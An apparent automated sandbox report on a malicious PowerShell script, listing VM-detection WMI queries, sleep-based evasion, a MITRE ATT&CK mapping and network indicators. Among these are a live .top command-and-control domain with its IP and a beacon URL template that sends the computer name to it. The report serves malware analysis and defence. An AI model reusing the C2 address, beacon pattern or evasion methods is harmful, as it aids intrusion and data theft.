Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7632			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2076			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3308

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: IsVirtualMachine
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: "VMware"
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1:en-US:VMware
Source: powershell.exe, 00000000.00000002.1431782162.00000235E93FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll?
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: IsVirtualMachine
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: "IsVirtualMachine"
Source: powershell.exe, 00000000.00000002.1431782162.00000235E938D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IsVirtualMachine>
Source: powershell.exe, 00000000.00000002.1393644816.0000023580D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	121 Virtualization/Sandbox Evasion	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
download.ps1	3%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.181.132	true	false		high
cmacnnkfbhlcncm.top	45.61.136.138	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cmacnnkfbhlcncm.top/4sqjhclnathtr.php?id=user-PC&key=146061803000&s=527	false		unknown
http://www.google.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://$705rotusj9yfepq/$8au6hqz3bnw7ijk.php?id=$env:computername&key=$ukcqoy&s=527	powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235814F3000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://crl.microsoft	powershell.exe, 00000000.00000002.1430090401.00000235E9190000.00000004.00000020.00020000.00000000.sdmp	false	high
https://photos.google.com/?tab=wq&pageId=none	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.google.com/preferences?hl=enX	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://csp.withgoogle.com/csp/gws/other-hp	powershell.exe, 00000000.00000002.1417520976.0000023590269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://news.google.com/?tab=wn	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/?usp=docs_alc	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schema.org/WebPage	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://0.google.com/	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/webhp?tab=ww	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schema.org/WebPageX	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/finance?tab=we	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://maps.google.com/maps?hl=en&tab=wl	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.microsoft.e	powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/hpp/gemini-spark-icon-dark-mode-2-42px.png	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.google.com	powershell.exe, 00000000.00000002.1393644816.0000023581769000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581787000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/hpp/gemini-spark-icon-dark-mode-2-42px.pngX	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	powershell.exe, 00000000.00000002.1417520976.0000023590001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.0000023590269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235902F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.0000023581999000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.microsoft.c	powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1393644816.0000023580001000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.blogger.com/?tab=wj	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.google.com/mobile/?hl=en&tab=wD	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://play.google.com/?hl=en&tab=w8	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/url?q=https://blog.google/products/gemini/google-gemini-ai-holiday-planning-2	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/imghp?hl=en&tab=wi	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/shopping?hl=en&source=og&tab=wf	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lh3.googleusercontent.com/ogw/default-user=s96	powershell.exe, 00000000.00000002.1417520976.0000023590001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.0000023590269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235902F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.000002358179D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1417520976.00000235901D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/?tab=wo	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.microsoft.i	powershell.exe, 00000000.00000002.1430212250.00000235E92EE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.1417520976.000002359006D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://0.google	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/url?q=https://blog.google/products/gemin	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
